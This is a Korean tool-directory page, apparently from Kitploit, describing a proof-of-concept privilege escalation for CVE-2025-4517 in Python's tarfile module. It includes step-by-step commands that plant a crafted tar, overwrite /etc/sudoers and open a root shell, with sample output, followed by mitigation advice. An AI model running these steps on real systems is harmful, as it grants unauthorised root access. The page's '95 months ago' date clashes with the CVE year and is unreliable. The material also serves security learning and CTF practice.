Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-4517-POC — CVE-2025-4517용 권한 상승 스크립트 | Kitploit
도구/GitHubGitHub/azureadtrent/cve-2025-4517-poc
Privilege EscalationVulnerability AnalysisExploitationCTFLearning & EducationBinary Exploitation
GitHubazureadtrent/cve-2025-4517-poc

CVE-2025-4517-POC

CVE-2025-4517용 권한 상승 스크립트

저장소 보기
95개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-4517 익스플로잇

참고사항

이 익스플로잇과 설명은 AI에 의해 작성되었습니다. 오류나 문제를 발견하시면 알려주세요! 이 익스플로잇은 테스트되었고 작동이 확인되었습니다. 감사합니다!

개요

이 익스플로잇은 CVE-2025-4517을 활용합니다. 이는 Python의 tarfile 모듈에서 심볼릭 링크 경로 탐색(symlink path traversal)과 하드링크 조작을 조합하여 임의 파일 쓰기를 가능하게 하는 심각한 취약점입니다. 이는 Python 3.12에 도입된 filter="data" 보호를 우회합니다.

취약점 세부 정보

  • CVE ID: CVE-2025-4517
  • 영향 받는 버전: Python 3.8.0 ~ 3.13.1
  • CVSS 점수: 9.3 (심각)
  • 영향: 상승된 권한으로 임의 파일 쓰기 가능

기술적 배경

이 취약점은 Python의 tarfile.extractall()이 다음 요소 간 상호작용을 처리하는 방식의 결함을 악용합니다:

  1. 심볼릭 링크 - 추출 디렉터리 외부로 경로 탐색을 생성하는 데 사용
  2. 하드링크 - 이스케이프된 심볼릭 링크 경로를 통해 파일을 참조하는 데 사용
  3. 필터 우회 - filter="data" 매개변수는 직접적인 심볼릭 링크 이스케이프를 차단하지만, 하드링크 기술이 이 보호를 우회함

공격 흐름

root@kitploit:~
1. 깊은 중첩 디렉터리 생성 (경로 혼동)
   └─ 247자 디렉터리 이름을 16단계 깊이로 반복

2. 경로 탐색을 위한 심볼릭 링크 체인 구축
   └─ 디렉터리 트리를 통해 위로 해석되는 심볼릭 링크 생성

3. 대상 디렉터리(/etc)로 이스케이프 심볼릭 링크 생성
   └─ 최종 심볼릭 링크가 추출 경계 밖을 가리킴

4. 이스케이프 심볼릭 링크를 통해 하드링크 생성
   └─ 하드링크: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"

5. 하드링크에 내용 쓰기
   └─ "sudoers_link"에 쓰면 실제로 /etc/sudoers에 기록됨

취약한 구성 요소

스크립트: /opt/backup_clients/restore_backup_clients.py

root@kitploit:~
# 취약한 코드 조각
with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")

Sudo 권한:

root@kitploit:~
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

시스템 세부 정보

  • Python 버전: 3.12.3 (CVE-2025-4517에 취약함)

사용법

사전 요구 사항

  • 취약한 스크립트에 대해 sudo 권한이 있는 사용자 계정
  • /opt/backup_clients/backups/에 쓰기 권한
  • 공격자 시스템에 Python 3

설치

root@kitploit:~
# 익스플로잇 다운로드
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# 대상 시스템으로 이동

기본 실행

root@kitploit:~
# 익스플로잇 실행
./exploit.py

# 또는 Python으로 실행
python3 exploit.py

수동 단계별 실행

각 단계를 수동으로 실행하려는 경우:

root@kitploit:~
# 1. 익스플로잇 tar 생성
python3 exploit.py --create-only

# 2. 대상에 배포
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar

# 3. 취약한 스크립트를 통해 실행
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_9999.tar \
  -r restore_exploit

# 4. sudoers 수정 확인
sudo cat /etc/sudoers | grep "$(whoami)"

# 5. 루트 권한 획득
sudo /bin/bash

출력 예시

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-4517 Tarfile Exploit                         ║
║     Symlink + Hardlink Bypass를 통한 권한 상승              ║
╚═══════════════════════════════════════════════════════════╝

[*] 대상 사용자: wacky
[*] 사용자 wacky를 위한 익스플로잇 tar 생성 중...
[*] 1단계: 중첩 디렉터리 구조 구축 중...
[*] 2단계: 경로 탐색을 위한 심볼릭 링크 체인 생성 중...
[*] 3단계: /etc로 이스케이프 심볼릭 링크 생성 중...
[*] 4단계: /etc/sudoers로 하드링크 생성 중...
[*] 5단계: sudoers 항목 작성 중...
[+] 익스플로잇 tar 생성 완료: /tmp/cve_2025_4517_exploit.tar
[*] 익스플로잇 배포 중: /opt/backup_clients/backups/backup_9999.tar
[+] 익스플로잇이 성공적으로 배포되었습니다
[*] 취약한 스크립트를 통해 추출 트리거 중...
[+] 백업: backup_9999.tar
[+] 스테이징 디렉터리: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] /opt/backup_clients/restored_backups/restore_pwn_9999에서 추출 완료
[+] 추출 완료
[*] 익스플로잇 성공 확인 중...
[+] 성공! 사용자 'wacky'가 sudoers에 추가됨
[+] 항목: wacky ALL=(ALL) NOPASSWD: ALL

============================================================
[+] 익스플로잇 성공!
[+] 사용자 'wacky'가 이제 모든 sudo 권한을 가짐
[+] sudo /bin/bash로 루트 권한 획득
============================================================

[?] 지금 루트 셸을 실행하시겠습니까? (y/n): y
[*] 루트 셸 실행 중...
[*] 실행: sudo /bin/bash

root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

개념 증명 흐름

1단계: 초기 접근

  • 사용자 계정 접근

2단계: 권한 상승 (이 익스플로잇)

  • 백업 복원 스크립트에 대한 sudo 권한 식별
  • CVE-2025-4517에 취약한 Python 버전 확인
  • tar 익스플로잇을 배포하여 /etc/sudoers 수정
  • 루트 액세스 획득

완화 방법

Python 개발자를 위한 방법

  1. Python 업그레이드: Python 3.13.2+로 업데이트하거나 보안 패치 적용
root@kitploit:~
   python3 --version  # 버전 확인
  1. 추가 검증: tar 내용에 대한 엄격한 검증 구현
root@kitploit:~
   # 추출 전 의심스러운 멤버 확인
   for member in tar.getmembers():
       if member.islnk() or member.issym():
           raise SecurityError("심볼릭 링크/하드링크 허용되지 않음")
  1. 추출 경로 제한: 추출된 모든 파일이 경계 내에 있는지 확인
root@kitploit:~
   import os
   for member in tar.getmembers():
       member_path = os.path.join(extract_path, member.name)
       if not member_path.startswith(os.path.abspath(extract_path)):
           raise SecurityError("경로 탐색 감지됨")

시스템 관리자를 위한 방법

  1. sudo 액세스 제한: 루트로 실행할 수 있는 스크립트 최소화
root@kitploit:~
   # 백업 스크립트 sudo 액세스 제거 또는 제한
   visudo
  1. 입력 검증: tar 아카이브 처리 전 검증
root@kitploit:~
   # 추출 전 tar 내용 확인
   tar -tzf archive.tar | grep -E '\.\./|^/'
  1. 파일 무결성 모니터링: /etc/sudoers와 같은 중요 파일 모니터링
root@kitploit:~
   # AIDE 또는 유사 IDS 설정
   aide --check
  1. AppArmor/SELinux: 강제적 접근 제어 구현

참고 자료

CVE 정보

  • CVE-2025-4517 - NVD
  • CVE-2025-4138 - 관련 취약점
  • Python 보안 권고

연구 및 분석 자료

  • Linux 보안 권고
  • Google 보안 연구 - GHSA-hgqp-3mmf-7h8f

공개 PoC

  • DesertDemons CVE-2025-4138-4517-POC
  • StealthByte CVE-2025-4517-poc
  • AnimePrincess420 PoC

법적 고지

이 익스플로잇은 교육 목적으로만 제공되며 다음 용도로 사용됩니다:

  • 승인된 침투 테스트 계약
  • HackTheBox와 같은 CTF(Capture The Flag) 대회
  • 통제된 환경에서의 보안 연구
  • 취약점 공개 및 패치 개발

저자는 이 코드의 오용에 대해 어떠한 책임도 지지 않습니다.

원본 연구: 여러 보안 연구원 (참고 자료 참조)

라이선스

MIT 라이선스 - 자세한 내용은 LICENSE 파일 참조


마지막 업데이트: 2026년 3월

도구 다운로드